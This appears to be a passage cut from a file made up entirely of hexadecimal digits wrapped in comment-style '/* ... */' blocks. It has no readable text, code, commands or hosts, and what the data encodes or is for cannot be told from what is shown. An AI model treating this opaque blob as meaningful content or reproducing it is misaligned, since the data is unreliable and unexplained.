f837fb24776c583bc22e006b8ee1708603eb2c227097a681dc9887ca518acff5c4ddae61cbdea222f9e2df7621afb07cf8a22c453cb790759059e33fa56f6dbf976abf3c20666736edc3421d24b38c2b61b0bb419e803c23acae463de4025a83aebe10b813a2ddd932488bf57e549c8406351414661e9d63f54da39b6c10af7718772dfbb0d32de44e96da03128bc871251755526e4a1d04329ea8be7f981f3ebb148bda7db4445ad09bf60c966f32a237848c66f1b5955227cc87625310abe3d75f731a325ee93cbe2671cbd1c558b5c5d9e7a3dbb5dadf9077909701145c14a37236e808e51ec2fe30077fdcea8df436464f689f71048f27a69277bb82b9873fbf5b0367316e1a3700a456374693926485188168c0c995d68e7275aebd476d88fd6baedf6027786f4bcadd3e52aa3d665cc4ea2c1cf36379f44d4074a1f196fc832a7a28b908c6afaaa4f1976f382c91a2cdc5cb5537ff540a596312f86a3a0b00ca60e9d6f46409ada63f00fabdb8e5894cd843e4faf6f4356e44d4ab63f6f80d75c080759d25e7fd4119f4a4910fcd40de65c02576aaddfb642878ee8cdfe0a26616d5420655647f75a21475ea9fff99552ef2f2c34a918e9cc4a6a10cc492793a9c2ef7b08c9bff58dd9bac37eda6defe53dfc45e120ec14f3f39ba884bd8c994c840d48aa13d175040cb3848c3f29126dd9fcd1c20bbec4c24bba401413b548bb3eaa142eca85f65d89344997a0ba83ecab9f01b7290aec6cc132bd2095e7d1308994705c8c5229d4c2cf840c19f31bdc4cc4d638b22e135779eaf54c97e84a76a6b6e80d0a5500f5e6bbfb398857ad483a60b7c70518365cf251b0b680db5d327c80e83ec5a129581b2fc3e4520b8a84b1552b1328b29be59018fbbdb2871738a1eba1be73313e62c05462072382d28b4270ec17724e18d1d9b7eed71d1f966d684c793367921aa7cf4fc726356547447135104c5e9745dbfcd129c42d63a37d7e52045483e9683a49e3bcc035c200bbb61f8f140ec36eeef08952063a06746bdc8f54abc7f5974fe4275ef7339671dfe17c4428b42d36c35028f1cd7c52b8a509c2e914c2fc53cc190ef81cfe6d274f102e68be1c257463077f953ff6fbe8d457a7bb0af04b74da569d748be2fc900c6208ede5d774a767bf4836e13ab3c58bbf32f82fe30875594363861427b844cc5f7e2f0a457f6392ac474b10ea0d8ffd17dea0baf8672556fbf7be992314a15bf9f5775dbf7b856a038c79a0f6b6e2728d625c098b74b3ef181ce9*/
/*d5184e0c8fcfa96ef4e73185ae33a5b649a655ab537facdab5914d4b59e28ea1c348843148d7768834bac3cff403b89392b49eff5bdcab430c6169c747e7f6df8030424473daef582262ae60794b1dec8d8ecac6adf4f2e61599cbc6907d6d3127133ce73fcd9cff3a151b78e93017e2f8b9e5768021d1cf41661eb180aa08ef00f8a6ac1b7df71f19ede1337109fc1b38cb7862df3e502d6355f901015509df19a93378f9a68e5ed249324094714af3515359a74f55f5882cb74a6bab91b78ecce303f1180650739fad894dc795a38755050784fffdb40f04072fb09d668237c551a198adb8a65ac058107d7203fcc2a1aa24a51d046c0d8931b538bc5500cb5a2784f61a60cfea6d6cedc6fb26eabd2f6979bf881af3daa333040768f4e96fb77672b574730362e89099e50ad4611b6519d8facf40ef17e11e85b9ca29a3edcfc4aa6af22460f7370be3d88f771caa898b3526e12c2f280fdfe5e22fd17349a79e181f316e23ad49428760f1fd2ab743e79b5e22dee4a357083a760159834ad2e7022735a221fcbeea61a94600a4a50a9b497384abba1d7dfa009f066740f32a4e94558b6022fcb711ae0cca5a0821a90d8d337cf145f6dc67d16945dcb685815e0b401b323ffcc09533737c6c9beeb79799d1050222b321cfa3195b77d9f57d9088233eeab3c814f5f0b3ba04f8be0f9721d621f0039e0b61f9b5449b430b420c5ccf44bdd6885f9e219a20e1d04bd73c985feab24a90134181b742e63681b0027dcda11fe21fb3e82c409e5f94be01b43bef3cf4dad189371892549e906ac25298b1b3af6a039032a21c357a5f27c5ed6ccba284f4d4a2b8c5113596d69a8a5f7e1ae8aa379d8475711eac0bfc3c4a809a8384bcb6ea2df52afb603148211cf1fb17d730d6bf6ea2f8e96f5c1957f25b20205f70d80b80646b0bfcc59f99de754893c1d87a84cf59b68d511181d44efc3305f2ebd034dc465697928d27f93bac02d5d77439a9f89f4e9cd54bf45c6ebba92cf39415d5011b01e84d1148e87c6e178dc915ebc3851a2e8ffb4d26e746ec79da30e4615fcbf387f7b0f9b9810a6ee4312c892da6761c2c4ace70a4fc2788c681334b769d2534eef8b44bb592ecba2e61c7372fbef44e26d26073bd7bbd7be3dbb4150e09afdfad91b0a1677d535d97d2101525fd7f57df377a59ef988fe04cea78fbd068685867843a78c06c98d59afcb8cbf1318d26f20020386b2f755f53d4c765df6442e221bd7fea931bddeb6081a486aa98e7f6e0efe6987fd751135b7acc230f2a511509e6942c1736c5561219248771e08b1fc53fac0e5e8fc961f5cef4e18b7a600316d734035794e496df233e3b89d553334f1b38e88ad19c337a82b03d7d5cb8d6f56e5358276b75800d585c1c39a3ebc64de128f6df7cb55cf8a5a710f12fcea357a3ec40b0d91c50369709853b02998cddb96c5043ff556b2db047d9863eb3811e3574de2338d20dfb691d4bd6c22df561f1350817bfaebf2a2d4f1a2a04d01547f8e61e9953c892db0f238f34b82be626bf18587e899096731c4d25fd43f59f86f5cfd1527b12172cdbe576e076b7d4ee7fd77fbbaa7497b751d085b9d60d13d42e6501e7f1ff1a870d5150b03485cc69ebc14ef9f9910629646ac364a2b48580d3f1a15addc444e5d00a339c3ef5043b72df76124e676edad8aca05a1f4e8993251e179a518c44ed94df725254060c48e7122d43044bbc6a8b437f17d7fa1cf424cbf0ae7f820a3573eead61ae887889f4c780911e8357fbff4af432dce181c75975bc086f74c1f0c2fb0991a63f6689a40223359aaa87c8614e561ec60f37f3b9d7361fedb55f58c36cf69eac8ae203749157794f613fa25196abafb2b6706bbcfc7b15f21d4d7f029afeb020b3c5602636346e51c84205edd79d32b055f8dbc500270dc1f25b10833fe6bfc9376f31f28c431fd996733577f0695e91c4d262adfa853ab941f946799cf2b8a9441931c630c695eac4f72e567f584e26c0a474b8e1d21ed1444fc248fe063db26d1d3e3cab71311359898c0d7603413e9b53a9177500aae378a5c4639c4f194a7bb41d45f3b37451b1b9ef1b30186107ae5318a686955786fce643cc64074a3dbae6ef0fdf03b4226192b9aecfbce0595a236864a9b7c576bcead83c25e3939398806fddd705f43e6f86956202ce64e57e88a530f2bb3120e0024ab92275338b8006e7e29dc318f53674bae981f9f2148fad17edfa2e68e5a753dc12541cbaac5a37d0a5f2fb049ac13657d848b71fd038350763f7912fbfb9f7323e5d9b53367ba7f2660cfbee3c9e56666a85d327d2e79047c2cd8e1045797d7849d152532b73a05d0894a4b48e9855ccc67b10c524baaef67721be5514d5e3ccde772dc1bb1cc658cd18334d96b41457d84c6a3435eb7108b03eeb4981b76d24238390e0e4694eea4c4adf39c81e0b080c59a5250301a2b9ad01c1a4ebd5c8d60060bf79b36316a98eaffaff48eb579e1f7c3be803ab19e0d35b6f21125fcee4f0bb3a7db0d4cbf4761c639259f8bfdfb9b0caa83d1ad1db83be6a34d0a6cc262575b6064f7f2bfc08070e824f51e855be6f05c76c884dc49f5a0d45b50b029013fc71464365e6bfd077fd7d9fed466bfd5129298924b04a12d7eb0065cdf126e9f0c37f043be962950ba783a6c499a7262e3491a117111049ed47e84ab0e0691a2642cba74a6fb005f2cb336f2a7afd7dbf17b39f4e418d46d49eba5d650d8c9b0c98fcb3fec6fe5761487e7608f18e074cbee56a998d8c2123aa89d54f1477b93669f95a63a557d963cd0372*/
/*d00844920aaa55b0b04b60076de042f9a1d5de63ef85f7be8c3a807d4725ea309a00049651fb5794582af8984ffa5748d9ad12601c79751685187c3cfb6c44688ad91ceb4174b05c941512a50375a4ee5c4b804d5119b56a00b432ff855c593830fe91cf71eba753817eed1b22a4655c4295e0226f01530c922218b77b4c0fafe3b3afa99dc2e2ea26499cc613147999b92a0c76ed24bbcf2ccffa0e4cf6f95706f4d02570642a231486cdcbe27993b79b8bc6ab1279ebcebac425d52fe49184932b93e2606490987b8808b7bf6cb8b462bc79ea83018770b94bd033981ac6b51422fff78ef9377b64b5c1003488ef382c2ac6a256aecf24bef488aa32dc4a30b8e629c8bb95bdaca095f071ce691ea38f0a846f2a1056b5cd39ce4db3f341569e68a2020a5c530feb7bcb2d07d4eecc4761b725833182f60e587dbdb39c05e8f5e9cbe6d7514213bb32d64670036319e7f5181c6d8fd85fb634e0d20a8254565d72ba46f8914bbd6dd981372dd2f9ddbdf65c8cffd11d88e1786395dc9fa961d15335def92fec5187118298d0238ac9a39cc4691f4042d9c3f423929e2071b7e6492d725f85eb8827afdfdd26bd04c06a4719e7f0495fc64bd0182d1c66e3b825036c8aeff762441abe6f7f7900278ffd97fe42813496d12cdeb90184a24aaa79d4d1db25e6b83b40f5b083399b4f709ef1ad79dc39d8ba1b599654fbc2d9a3ff10d4e6c64cbcf5da7725a9e672cd38bfbcfeae1b53a2f59351cb657cc62adafd900fbc2b6143f901efcb05a3da6b92efc1a67cecf95fe0e4bd34416d6fb6b68313b5d9e7634b62dee0b92c3b6b99a03422c91811a4bdec7db5460a256d6dd4944a9e7c097eda13c366095b8f241df304ba6cceeabedd26450593a58a54dac26e35fa13a7965f6c1be92322401008824224d42977993f196a569f41834949741ea4647478718a6859fe590fcd9ffa6ee3763783419236d382d0a7315075877ccdf57b26a45c72b751649079cfe2d8c3f37f8a6c2a1a604e35b97689a2ee6ea23dddcfa5ee560fd1be052035c474e7290ca76eb46a4fee0b8a90fb29c3b73eff362123cea44ce7373df8dd01296df83b56bbd72d6fa6de2c2b24866ed0259f29ecbdf0d2f7ebbdc4fdcf96fbdab8a3593e0cd7d8329721064ed81f0e444c3c10b34a7db82f762ef0c2d69888bd18db91dc69b2e3e9978bc7e184c5f8d6df1cfb651dc1a1bd1d060e5a32593e80be01914c56f52df6e530f03558b5468c5819eadacaad6b765675a1694cc49523137ae539069fbe9b2b76c64c5a7f9ce6c98f148088a55b4e258cc61f6fbd819584c45c3e6c2bb7bb005c988da2a38ce2da864ef34d5aa034b8503eb2ba8797e4259f23b3328783d0d9e9a0399ce5525d2cb5148f8245770991d76e502234b60dae650d54cad0f4ea4dfc6524d2ddcf565fafd02fbb49ccbf652586abbf745d24b3d685f7a58954aa4132beb2df45dc8bb5cfb24ee513a329d029183db0d8bfef7e94f0906f656cc99d74a89a85dc1ceaad7a2d1520e2d41fbe9d16799e47cb8153976915f9394a085e91abf7ee60876a73e946151f5f294faaef65f1c3cc0c3a08c2d2f5d02ba6a5283c0a126896254d02c6915f72be022cd28823b379695d58c327f497b41fa887363cbe9a6e6db0491b2e184e83fe15455b5aa9c160903e43d6b090d94c1156fa4492091190fa857945cfd481e969b09bcbbdffc8213433baa08af0a8e90f3178ebc3522ccbdf148acc794f6ca679c5591d21e13bd453694f3194c4273d0cdf1259c3029a42ccea85ba0df8b560a42d97bcdb501f3fd565563c937944cfef1d20dd663c809cc12f59886525de34d0c212f739aa31c409c4155297568226b3caa5057c8630f0fe9f3d0e544d6fadc49592537e289d8b8404b6b0ba682e84e7bf710fdadfcdec6c40ed551071733dbf95f4b0d36fd4a00650fa908182a243427dc09bb4c7c28b1a727e7c979da143902777e62b01a66e3e6a0f32a64197c9ae9e50371896e3f3b9d4cce1828578a6293c092fa16293eae483f15d324301f3d3febd4b69d4aab0ed7574052964fdc3ef54fd0170d9eb8eac9faffce2e80bbf998a6369caaebb4ead4a5c4efa7d4d61e2a9e1417c354c0c2ea249b2eb051e95afbe83ee1cdc882293cfb830226877e35013c53e2f994aa64f7748ecd6281ff5e5c8f17d8b98e82b5ac1b91a460ac7ee0da40c42b311fdd106e61956a710795fd0e08524a873d1b0e369b44a5c44505d877d6edb26a0546df051976ac27fb3e76c426cd1a7357785b60b1fd7885c168d145db8557dbe1c02fea1dbc5ab0e715b5d5a95887d8975ff27ac48121f9f55bd0ad0deb98dd931205c7e85943c0f3fb058b39ef7344c921ce18ea9c8ce5a2e471c6d6615096455d442cfe0284304efe61a2b7c10d54d917aa99b536c8e4140fc9aae980c5e66f9e64dc69b42e973347d56e5ae8233ce657a0048966b81d7afda1eb07b2ba83b58cb0f638cdff1970939ff6a10abc376ccace441ed4311a047a9b3ea00e69befccf9945078baaf8c1115e9186b2960a4ed2a4fe1d95e6672a0f1705dd2db9e2c9e2a71ce4c7020d36429f03b580e151ccb422a544bdf740f1df9597efee043df3ee7f3d754e96bd2b2bb4a3b2739b1111ea4e2427757162e3053abf57b9140da03d1a7df04558b36452b7c1693c32bb79318c82192598baca5587b6cee7c4095585e50ce09026ba185bd0966b28e36237147f4bbc5f2ec0725c80437a4ac956f1ecf2f99f96b9fb871606fa937afbd9167f587ca4399176d08659f947e92ea401f234b346b10ce8a*/
/*f44fe076274d9b600c5dc5d9e4876252ecc15daad6245c46940e824ad1ffc128cc3d10e149583594f023730205fd2bda52f1ef647b37a4dedb41a62ad412c4a8b83f356a447105492be10b6f60de124258d6afb4155ded10829e752c72e264e368a7674cc957413fef257f13bd2b9d49a117a1065c74806f1dcd48b1481860e50c65e7608e740b7583477d1c41e3aa5dbf1e72b1eb4bf383f5dfda9c8a0906e4130bca715be089f5235bc166261f656e7fde9df40dc8373d6dac5c3dadb70cb0d1cc356d810a9aef6fac6be01795612f4c8e267b04b3c64b32dc3a6cd196ce748ccb232325d711eefbfc89d049af11c96e0a91b6881cc2fb0a2a04762f0acf6d899569910d58f2a6bbb995026815cbc8101fc7f7715d3f3ae0e3e082f545f3342aeef227ee0035b8a48b152b52e2bac982370d96e63416270759ef8de52762322aee8957e49c63544cc2344cd223b3e0554d2b9d52d88b22cc417f0a639a2c827b9c4ed8ff27debc3c519e9d152e6e51d532a0906782f4b12e2c2fef6ed1fa865ff8a660cec738295b2a21b861967e8901b0e314da3408a608c5ff8009924f087d8b059eca786882432d7053b340169d51a60fe66d9cc3a5412af65c1c8cd551fd5818b3c1c739249145fe5edea63896cecddd648af43f0bcda8f81af146ff00b12fb0952a2c6e1cc83ff8eaf949f724408fee5445b358342ef6531198d5bac0146d313f24fd413d0f0339dc9cef15a14e982202aebdabbeefef17b9d5f6743d0cb8218d7e51aeaa8e345c0d01dca7fb011e8569a57c6e9982f47cac50de00f695ec5705b8a2e27287efb0e9d791d85b94b2cf35a8014cf3e06fac3307abba9cf6e9e6923fa9a36dcf5f6bc49e0681a4dc82283901f258ddd374d63f1d1b9c39990be0fd27c87ba248409bb9fa3d0447458bfb9083c773e909ae5e606f7ead3b38eb419cea36fecc1bdad1147569d2cdf0c8b52ac94f7d8aeb486cfe963ae7fbce3e18c93e4e6bac6d69c9ae71cfa4f8fd4c528e58a435356b3b6c63411f1713fdd5cd40315719c467394b86010dadf3c8b1f451629c7552918dc81b4f667a2ed7027c16cb3d4eafed5ec159039e242aa2ce7866e0a98c28f2ecd7c1e6b27ef0bcd0c49751a901bec3008f625ce29ccb378b5f08e19adaed9eb9a2285d8d17c194a6ce17f3e39ef1a765419e06f4f20ed02a12b8ddf0cc3ac6141e67c3f314ac28c6eb39e215b71e8d31de985b350d9942e96d5e43f8227e2bb7e2d0d0c92774fd8e597199555dd4a0d27d64eb049ed26e3d48487a48ce017d514b2603fed8d9dfe4edc457f5fe44f768ca62f231ea9b2ee2989b31d1433fcad459db62eda0aa8687f5d865efea864c84e31568e4df56ad74393234aef4ce87ebf99f4556da5bf0b873dd52d6d09c1547f21686464be5302e33925c6ad2aa82de9bfcb1bfd779beac09b98973a8b5656eb5238f96b81f3b80f91456a27ab181361ae20e44f8ba7eb0f5223b6dbbe88e17e906594e143afa103f7f330043a9b2161a76dd9fa14265afb047d7e458a7fce4ad230271343bfa9d62485d2e3985330ecf58786c3c598443085fe2acc5b8a265bd8c2e35af56a2eb252a7fd76559ca27ccdfa9e6a0e508a74ea40713a1b2083f746874a2c60848cd6075c7732bb4399eafa94749d16f9fbe4cacb4461c00efed51e732fd797f0c6ced82539c0b1eba09745bbfd9b9a966a2750f0772ca34d05264c8aaea48b3c444706858d03ca3b15d22914d74075db459fad545663fd606776bc66ac6c9497853ab3f6878bc37e55a984b6933b80594f279e344e078bfaddc0ac774c3cc9f864ab8fc304bba29ebd7c585aadeb18ae1d8ff3f32d363955f0574b2dee189b6244d7233599aba5b717c104dbc8d0a74afc58480726d82e60601b335b7b3e4268e04f43d75dbde000a0be92321dad89cac853c11c61a8da42639a1431d59e45a40f66da5efef437951de7d56716bb6f4477ba26a5838eb3ee4bd71a5f36d633aab17dfa5e7390b3c57b0dc82b3d576f14ab6cc2f92b0a34c14ede678b2c2c288d5ee203ef35b95e7526ce5534d70c3afc5cf44c7ed017606e5f9d63667d2fac7565fa990ac2f2dc63e17a7d1196df1688428fa0fa001d1bf9fc2fae2954fd30798df129065902539425462c0baf55ea25fdf89241d24b73c3a4b13cd12e6fe7f2f37580064d5468f40232ce2d9d2dc6d3feb5aab6fb1342c26ed3d1cbe7a32d32260973f7540d54257b9fc44ae533e62de264f0ddc18afcf6e98d9d30f925947994832e03b500953402207855443e428f4cf272f1e02f17a1785a62672f5917ae4ab14e3af1506398f493b6af37579161bcd0e01e6baf55e0939ec788e4ec3628b9407864bf932c1abfe5616abe1f4d80d0cdcd717932699166f3cfe52cb4f0889c634c7ce64d32214d6808d31439abef093a5d4eab32ac8aa986d59ce0c7fca8d69becabea690d043931d19bab42c77d0f770098e399ac73ed4d0cefdd7fcb3f7caa00e6ac0e613440757da35914a3f60a54d430c7d3f05342c5cb745b440fab81875f6e41d994a64966570791c2efbc6d0a366f5fd35c8faaac25c7221bec011132be58a7881782dfe74f4cbb021515dae121aaa734464745f1597b35c7c7bb27f3fed6d91e6bdfa9e61ebb0e8ea7f2e3e23ca46ed9b0ece103630fc235aa39e6977b3cb08e4577b907eadf325757781823cc3bdbb8368f686d149a1c062e4f360dccdde93157f7699d0048491902bca159ddb29ffbeb8627a7364f24deb60a38dcd0fd6fd30e2bf2040fbe53682b166976eb588464c3c736263c65870bd73*/
/*ad95e5c16fb0a371a66255adf4cc164abd1ad3ad6ccd22ccaef73f9facd56f6e910592945eece4133386d91b9818239998aa3724e3a9303d764691f843b15954e606f4f1673ec6ed178afd091996833e40a089796935933d4fb713c0cc93aa8eaac9b6d6f772fb2336fd20b2ef0739e11c36fe1099b0ec787f13137d06d16d0d049a14299416934163812d81b1f89db7b4986d5068d6d67051487d8b77c6fd50fc504fb5276cd13a3a81c867d2659cf69c18dc9b7572dd2713c0344b63b93765811b0a774a6c4d7907d7a56552de33b40681ad52e7dcd07f53ce427f58a1abeb316154bab4e4d649c12cea45cb409dcfdf9e5a98fec0addbbb0d43788330865555695b7ee4ea9202ab55a065b12eb3090e587a49df96ee063587c9a213eb7ced11a654cc551bd77aed32f51c6b5993483b403e1b783fda31cf15cebd1b143263ff1cbdc872e165570610a3f68df098741e9c9f7b55d0330009507f20d73e6e19e4c55aa68125d9157366dc5e8c2291b01be5d1f19d8d3b8d01abd7e23797407cdf59ff8d346e54a6e9663311ed26e63d4eb1d13d56dee2abf2beac8676b9c840a03efc9effc0a90be39111b71a34517d2eac35687d246b30a0fe530047be49896edd6e0a9ec15df3fa8ad400aa2680bf358ba33929e34c40633241e94ad499ddadd96a62771552d8662e276e541fdaaf04f9983ee03f3bbfc1034c103c4bac3b0d4f19d76332c26456f66cdbfc1e6fa155fadf4924b2054a4edbd04a314c1dfcf66cd86396f97ab0a61db1ce7fd35067a0d3d538c06011cce9f19e0dfc777a0b65c772a764091b91ea51ddc2af7c0a9d1c6680685729eaa4d5f9d7e795a3ec7ff48830195c2325789365f121ab19bb3fd34047e396edf8740774bae9a127bdce52328ff2436896483cccae20b2cb2b3c6c3f5a739e583a5b42d48c3205d8dda72c8f61fd30e35d251d5b46408fb5565122d6f699f63948f07326b0e04a24f42398686aeb863cebe1fede70d71cec05c094ef8c9be2e874685c3f73fc9779d8e666b47d2e86f06552ebf8e0cd2ebcaf18ed4c3fc178b70fd1de2dab57dec518f4f99c2995da4c4405dcb2165938f643858767aea0807a997be7d71b6fef7c34f66850f1f769a11ef1c70b1f192caefbc7fd7a60689ddd05f3e1c9e2354460ea961d6d1da4bc87eeccf49f3ecd1956040f83e3503525196f613062a61bf0e842c4a38820c2589e54801da5c879254bc1a8a3c7ac915a7df6893820d554e996bd4a1118ea72cd2c3f038907fe5fb2dc6a400dbc88cc346800ac77396e5e65d2d2fe2d5690eb3de47d8642300593022e77a87644650e41dac2e67dfdc3c453d8b5062e5f0c1e4ec977e9132859b9b7e402ace7c4ff6d78aa98c374262c1b2f5e241fd0663a5ee54ca7d43a586b186d3a840a403de93d92a1618a5f0845320990ac607558ddc7ab692bfa41fcad3a4ea93a3d0d779e19fa944f35aef16a3c7d1d30b026424839cb8432c266a3d5b91b3934ce036eda7ef80af12bdaaf95b226f260833ebc50374e87141bd6ea8e23538bb71995c405a2f922b8564c8fe0acd7838fc66083b9b322d209d9a9bb87af8f9f38065201a62a6038807e1d8d7ec2bd9908beeaa1203ca172fd9e87d5505a9f3f6b009833d2f4c9df421cb72ab76cb3d305688ea316af864be4691646d8bd8ef7a5697939057a60883092e3bc41f6973fdc0a2c9f0b2cd6e32faba008d72796ab6376b2d592a8984e6e5b09614a1c0d1870a3eb324f4c69210d24e99046efbb4f68b5afe7eabdded4fad5b360c4833e5804249cde3d1544a91f2375c8daa623a49a959ba81c36e768c23171cfd19fe63e1203f74b90e05eb1fdb9e695e54703db28eba6e121824e9aad0b0c981109564a37bb800bbe1dcabf0e57890c366c8c87ae2031c1778788cfcb47f06809b81540b45527d2f53d9cff6924b3ff423d90686af932686e0c7d82d5b17a6b2d20dcc34389e9db5b1cdd43bfc1926a0ced6399501db7d57207e9141fb245582faa5a5f1226bcafa79164ff536457efac396ea7c2855b2969e564b404bf66f34cc82e7c426aad13c1e6873e4739b4e9cc807a7e99ee07f11c764de30437a4de956548fd42fd284d47b6406306e4762fbf8e2b903c926a86630d2a07ae0b3a222aeb68a2ca40e41424c94e957e50554ac36d1dbd5ad559d2a5867ff05d2f4eb994d1b9998c8db09587e8e909629d9fec1a6a569a79cf6b4075e8dcc5cb341c7469351dcbabd5e2c88847afadebd6276b7e9efd5ec497a1f078ff3e5c991a9a32f6979d7b421c861d88125d794fe860d3a6c82569ba884c961361b23e6bc3484f94a4de71ce3244ee3cc0935e1d04803b250e501aa5e0e22c9c522d4cebdbfba71dd171452ad093d57d38dd1d1bf09d255c908be922e83c5be0f5d897900bd861951f32e8f819848597eaa4898e74791e18fc94144a3365e438ffdaf3f97b842ebf47ca6475a90d28a6745bfd5a007738f9be4427026faeba330e69465cbed1d0cb8ed1709a6b9ddee5e1c8721a1255d259d3aba0b488a0176862155a07de15bacb735ccba941d79685c1ed7f0b453c3c2bc8dcf7bc90c389c1d3ce6774f482822212efb01f3a47c875041c4717e1641f24946270f95d1eec87af5e89653b26489cb4c5ef29a475bc987fea4d410f7fb743f6c90ecd388b2fac0f527e216257fa1388dd70e81473bf05cc69d3f737df5083211a8e4097a465f13d46735cb9272b0fdfd2f9b3147b1ae3a69aa21c573a49dd0e322f5e7685ff9b6c4884bad454da3194f43700aab5445dd36edbb526487a7478782f09cb*/
/*3f9f8b0fdfd7cacb4a12c16ef50419a7d63ea67fb0f44e1510f78f132395a9fcd923b2538208c58959a9df6a26088b0343482a49becf0c57dfa224f42873c94612f354df48c31eb1104b68b51c5f71cf68bcea286636a95b0f461a5a6e982329c1df67f34f92dcb1dcb08a65bf0cb68d5eab538122984ccbe895059cd1ce25bbc95110a32fc23c98ce7adca124e2cf8294c4abecef44acd037496bfe369fa2ac4a46141df40c3613e8c69625976d87a4b852c66c41816b769b432f2af698525e0e17d1391dbc3a0e0d8c6617887af05f19f1e31fd4d6cd63666d497d5983e51c66abd4e091b9e4b31945a56be512127c7fddb7a528698a22b0b13514aa368e3a16fbda3752932b280599fcd549ccc15e921b9e5b0b482e70618a1191dec404903c70cf39a48527691370eaa1df20c156a47dd143a262f5d7ac728de31889dae243880b45be8c76c540eb188d754eb6264f0e44dcf8722b9157b8ec99e89251a9116661e80a4e5aeef4d76c1bf46d7d17d7d265c4ab54958da06ba2340ac13ee7d4277f64bc940070f15ecb563d6049e2d1abd31321f807fec3e005afe4af8908f66cbef6ea41446ca27a63ecc3daf84acd314448e91e551b8a80aa9151b553965a65725bc40cd517b789768a38e79da10a301c150859a508eb36353882c0cd1601183de14c57a7976cea10782a38b1535da1089c7a5b1b0df45ff6354b7d5e2b902a2a5d22b0dfa2b436b4a5d09be31e65b80de934fb81cfc4b3d3bbf7c7eb84c47d5a772a3f8705a84fdd3af48462890de7f85c4658ce4f7f7fef22a64acfcdce669fa3a3865c8f1e1e0a4f2b80ef2206959cf8f1f5aa6577114845618960902579cb6df695530807c216aa9ad998ec11a02147aad60c07a1a93edd342738bf08d0abcbbda577a9d4b6543908a6fe89fc23b591b5be7e313f3d8b8fbaffda8890443dddefa78e226d8e0c2ead9630ff3dbb370699e9374ca589b7c5cf3f1843358df5180fdd37f70ea91a7368e1ccedbdadd9d592d1e3ee43f4b34b27914f83c328745b7d8e97ee9739884085d4e3da93513a0611cc8295d657d988f063f3d436033545eca1e0c5319d8a7db83a7c26f1085899005215dc580ba59b479b74bb7ce0ce1546c03c0a178c4b8024cefc5fdfae8f279de32dd957bc057dd50e03ebf777ebfd5a2e7170458b39fd7d2416bfd79eb866660ced3ac3ea27da3123ece618de90bc903b65830314a07bec819235dc04e37f32d5b91a0e9fc32b890a02a6a37c683f9bbd67e734c0232265bc923fb59a41c3e4eb85bf42fca7f85c21ea75d53a644c8aacdc93d122c7a08676a867d02ecc030578416a678e817c697624e98713606d62355a7c56bf796b4a2256c12f16850a58b0647e762b1748b1da480af938a4b9f7ed4109bf3ea4f33a16151687100ae919aa483637f5da3c315962012ddfb064dca19b164cb4e86fe801847f27c1ae6d9c9e9199090ab4b88f6d4f96e1635bbea780ea049dd0a8e9d23e23867ac3b743e4565bbf47f3aa4b4b78f4fae157d4cc9f6cb0f8612fcbd8aec373b873ada8458c2410acffe7c9c766004ee65d147ecc559c90431ffa1f1b90c07ba4d8c99a88eb7e500ae8593c15e81c86ca4cfca69b11c8a723118473ef103d8a72251daaa289ede73d260538d2e43ea4d7fc90a8c8bb353a7b7d95808ec298f3ea507005e7755867e444dab24908480a2c526586416f448725187a10f9cb347fa40d4675c691914918e6ce1e5c32f4b47db9594a2f999ebc2d2ab904261a53e91fadc0bee39b517ac397720594173a94518bb5531c48f038145ccbb71b6613713d7c0c104a6bd6f27ba809c0e696aafafe56a7c98dcae776d7c590608f14f04fd6d0f3fe4ec6ca21439ae4c1b27b5d6bd54a6fb88562a6a30442faaa38c63fe581bf67979b28472a2cb6277ede1d676835859457c48f82d6f39f105dcefe45eed6a5ec7d76aabfa182dfa2fc590e19286f8cb9ef4f2d200ae64e9668944588ceef5440192f4bb3883b7b1b2a6c8878b369bfeb1ec8a682f47549ea5e7300a57bb04cc5166fd8cd095ee6207ad759210408d6c6fed1f17a135c07e0f390d390a3457c1190fc5db305cab759004a841cf9acd974dfe8210ffcc5e63611b171ec9881da6227144decec488e558e2fb02bcbac8b235b4f25a94eca9d057419d52be9e5d6f7e7f16b8e6464a765fe69e9cff09b3404a170e642ba08561c0a2f57e6406621e48ed0877edd7541bea0a20bcb14ecc90ed018c2be72e9dcf417e8fab7ce0e347b9c70c3cd1481c5869c1a72e2ddd6ccccce7a2244c509afaa8878a5154cbf86db953945f6904f32558040b91ebb4ab14e41dc1533081856646f535588c79ab542efd90c5833cf18ec3b19ae2b33c0eccf30bd74fbc24612d3d5785e72d057c9668c0449b82c22516673946beff76544605f413c6b377a783dfc01103dc408439330415a86f523e4814684838a13c8c55908bd06d5f6ae75f089c8b9d76d0434b34352906b9ca09919d2e42acdfbb4ba2ad6f4bef88ffaf65a1dc558cdef596039e8ca36b2586d601ff11b30c72e29bdcbadf03710a189986cc410627967830b584c5755c23ae1541b3b566d4d4584582f713980f0aa304fd00501ce0bdc020a632bf265cc2fe9a25886b00532acba9268034d1b15e76676d354292e74609d85ef3da5d1a3bcfbdbff267a38b571d3fd36073b0923059122a594f9d5a20828d3d2f7a9fac06d0e4a7017d2114d790c2d1d43c8766d0b15f1c69d65442cb6845f59c6e97cdb85a391304dd6dfb5b11abaf0eefd1b2c1f0c4128366f3c20a9fd*/
/*511d648033f99d19b6e4baab6a6133746e118b7bb14d328ce688d621684acdf3c704d0fb95555bb20a96dbb171823e3dbaeb45f2b5e0fb249f5b8f01c8823a804730d949293a6060635bd4e415ff4a0b04ea7f37fadd37a071fbeeff512f86b19580430941b7f630f499810cacf8bdb8d68b66b87b9e4db48bd854f13e21368877010e54ec146873a90b6ad779e7880ed73ef9aff2552a08487016866f7e83c3c7dfed0d73b07ef8f81f54d46be83934d528b5b46d85a207eb96d5fc82b6364861781a94649d90e87ef5727a325ac4575e3600206568496e13a88f7f2c06edb1f827cf833b4a928918eadff239cc08bbcacea2d47bd9dd380929a38ae14acf2bf3f7a295d3360504ee70d6eb0eefa84a20c0bad649321a44dce44b505bc78e93a3224ec683fd27aaf2a4249f256c999965672ba4e6abe1f57cbd99d3ef9bc2894ff1f0b3cb9f420638baddde16894b621510c9d43df0f52608e1e72fb08970191f02a105a8bbc461fbd3454a576d929cd9e027384aebbddf694e015cbabfbadea90d0d96ae5390db94f3eba81b8c00ce79f5ef7ee7ec494767dc24c4766b1ed3d28d6763e2d51ba7f30d839225e41f5a9a9345fb893bb1d5409ee005315a1359f324bd1e8d909c7990d0b03788f06fb3d010ac50218b84a4973e03e4a34657b8146666df8814fa96c53aed505854f1ae63c17b590b29b1701d58d0dc81827195cab0d0bc9993e521a0b09e77da0e774cde8f7071460200a121903951f716b765b141129c0093ad25adc036131752414dfce1e4145e7237ac2196af4f5991975bb0d8d470590b0bee912e9b730096ac1b2a75d91a50b78c652c8c327dff2b2278890bc49634ac37c853dc4bc